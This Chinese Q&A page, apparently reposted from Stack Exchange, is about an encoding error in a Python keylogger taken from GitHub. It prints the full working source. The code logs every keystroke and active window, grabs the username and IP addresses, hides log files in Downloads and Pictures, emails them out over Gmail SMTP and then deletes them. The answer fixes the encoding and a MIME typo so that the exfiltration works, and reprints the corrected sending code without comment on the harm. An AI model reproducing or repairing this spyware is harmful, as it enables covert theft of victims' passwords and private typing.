You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python键盘记录器运行报错:charmap无法编码●字符

Python键盘记录器编码错误修复指南

问题背景

运行从GitHub获取的键盘记录器代码时,触发编码错误:

'charmap' codec can't encode character '\u25cf' in position 262: character maps to <undefined>

错误大概率出在邮件发送附件的代码段,完整代码如下:

from pynput.keyboard import Key,Listener
import win32gui
import os
import time
import requests
import socket
import random
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import threading
import config


datetime = time.ctime(time.time())
user = os.path.expanduser('~').split('\\')[2]
publicIP = requests.get('https://api.ipify.org/').text
privateIP = socket.gethostbyname(socket.gethostname())

msg = f'[START OF LOGS]\n  *~ Date/Time: {datetime}\n  *~ User-Profile: {user}\n  *~ Public-IP: {publicIP}\n  *~ Private-IP: {privateIP}\n\n'
logged_data = []
logged_data.append(msg)

old_app = ''
delete_file = []


def on_press(key):
    global old_app

    new_app = win32gui.GetWindowText(win32gui.GetForegroundWindow())

    if new_app == 'Cortana':
        new_app = 'Windows Start Menu'
    else:
        pass
    
    
    if new_app != old_app and new_app != '':
        logged_data.append(f'[{datetime}] ~ {new_app}\n')
        old_app = new_app
    else:
        pass


    substitution = ['Key.enter', '[ENTER]\n', 'Key.backspace', '[BACKSPACE]', 'Key.space', ' ',
    'Key.alt_l', '[ALT]', 'Key.tab', '[TAB]', 'Key.delete', '[DEL]', 'Key.ctrl_l', '[CTRL]', 
    'Key.left', '[LEFT ARROW]', 'Key.right', '[RIGHT ARROW]', 'Key.shift', '[SHIFT]', '\\x13', 
    '[CTRL-S]', '\\x17', '[CTRL-W]', 'Key.caps_lock', '[CAPS LK]', '\\x01', '[CTRL-A]', 'Key.cmd', 
    '[WINDOWS KEY]', 'Key.print_screen', '[PRNT SCR]', '\\x03', '[CTRL-C]', '\\x16', '[CTRL-V]']

    key = str(key).strip('\'')
    if key in substitution:
        logged_data.append(substitution[substitution.index(key)+1])
    else:
        logged_data.append(key)


def write_file(count):
    one = os.path.expanduser('~') + '/Downloads/'
    two = os.path.expanduser('~') + '/Pictures/'
    #three = 'C:/'
    list = [one,two]

    filepath = random.choice(list)
    filename = str(count) + 'I' + str(random.randint(1000000,9999999)) + '.txt'
    file = filepath + filename
    delete_file.append(file)


    with open(file,'w') as fp:
        fp.write(''.join(logged_data))
    print('written all good')


def send_logs():
    count = 0

    fromAddr = config.fromAddr
    fromPswd = config.fromPswd
    toAddr = fromAddr

    MIN = 10
    SECONDS = 60
    #time.sleep(MIN * SECONDS) # every 10 mins write file/send log
    time.sleep(30) # for debugging ~ yes program works :)
    while True:
        if len(logged_data) > 1:
            try:
                write_file(count)

                subject = f'[{user}] ~ {count}'

                msg = MIMEMultipart()
                msg['From'] = fromAddr
                msg['To'] = toAddr
                msg['Subject'] = subject
                body = 'testing'
                msg.attach(MIMEText(body,'plain'))

                attachment = open(delete_file[0],'rb')
                print('attachment')

                filename = delete_file[0].split('/')[2]

                part = MIMEBase('application','octect-stream')
                part.set_payload((attachment).read())
                encoders.encode_base64(part)
                part.add_header('content-disposition','attachment;filename='+str(filename))
                msg.attach(part)

                text = msg.as_string()
                print('test msg.as_string')

                s = smtplib.SMTP('smtp.gmail.com',587)
                s.ehlo()
                s.starttls()
                print('starttls')
                s.ehlo()
                s.login(fromAddr,fromPswd)
                s.sendmail(fromAddr,toAddr,text)
                print('sent mail')
                attachment.close()
                s.close()

                os.remove(delete_file[0])
                del logged_data[1:]
                del delete_file[0:]
                print('delete data/files')

                count += 1

            except Exception as errorString:
                print('[!] send_logs // Error.. ~ %s' % (errorString))
                pass




if __name__=='__main__':
    T1 = threading.Thread(target=send_logs)
    T1.start()

    with Listener(on_press=on_press) as listener:
        listener.join()

错误根源

该错误由字符编码不兼容导致:

  1. 日志写入阶段:Windows默认用系统charmap编码创建文件,无法识别\u25cf这类特殊字符(实心圆点)
  2. 邮件发送阶段:msg.as_string()默认尝试用ASCII编码邮件内容,遇到非ASCII字符直接报错
  3. 代码存在拼写错误:MIMEBase的第二个参数写成了octect-stream,正确应为octet-stream,会影响附件类型处理

修复步骤

1. 修正日志文件编码

修改write_file函数中的文件打开逻辑,指定UTF-8编码:

def write_file(count):
    one = os.path.expanduser('~') + '/Downloads/'
    two = os.path.expanduser('~') + '/Pictures/'
    list = [one,two]

    filepath = random.choice(list)
    filename = str(count) + 'I' + str(random.randint(1000000,9999999)) + '.txt'
    file = filepath + filename
    delete_file.append(file)

    # 新增encoding='utf-8'参数,支持特殊字符写入
    with open(file, 'w', encoding='utf-8') as fp:
        fp.write(''.join(logged_data))
    print('written all good')

2. 修复邮件编码问题

导入Header模块处理文件名编码,同时修正MIME类型拼写错误:

# 在文件顶部新增导入
from email.header import Header

# 修改send_logs函数中的邮件处理部分
def send_logs():
    count = 0

    fromAddr = config.fromAddr
    fromPswd = config.fromPswd
    toAddr = fromAddr

    MIN = 10
    SECONDS = 60
    time.sleep(30)
    while True:
        if len(logged_data) > 1:
            try:
                write_file(count)

                subject = f'[{user}] ~ {count}'

                msg = MIMEMultipart()
                msg['From'] = fromAddr
                msg['To'] = toAddr
                # 主题用Header处理编码,避免特殊字符报错
                msg['Subject'] = Header(subject, 'utf-8').encode()
                body = 'testing'
                # 给MIMEText指定UTF-8编码
                msg.attach(MIMEText(body, 'plain', 'utf-8'))

                # 用with语句自动管理文件句柄,防止资源泄漏
                with open(delete_file[0], 'rb') as attachment:
                    print('attachment')

                    filename = delete_file[0].split('/')[2]
                    # 修正拼写错误:octect → octet
                    part = MIMEBase('application', 'octet-stream')
                    part.set_payload(attachment.read())
                    encoders.encode_base64(part)
                    # 用Header处理文件名编码,兼容特殊字符
                    part.add_header(
                        'Content-Disposition',
                        'attachment',
                        filename=(Header(filename, 'utf-8').encode())
                    )
                    msg.attach(part)

                text = msg.as_string()
                print('test msg.as_string')

                s = smtplib.SMTP('smtp.gmail.com',587)
                s.ehlo()
                s.starttls()
                print('starttls')
                s.ehlo()
                s.login(fromAddr,fromPswd)
                s.sendmail(fromAddr,toAddr,text)
                print('sent mail')
                s.close()

                os.remove(delete_file[0])
                del logged_data[1:]
                del delete_file[0:]
                print('delete data/files')

                count += 1

            except Exception as errorString:
                print('[!] send_logs // Error.. ~ %s' % (errorString))
                pass

3. 额外优化

  • 用with语句管理文件句柄,避免资源泄漏
  • 邮件主题也用Header处理,防止主题中出现特殊字符导致编码错误

内容的提问来源于stack exchange,提问作者sherlock

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.18 23:40:33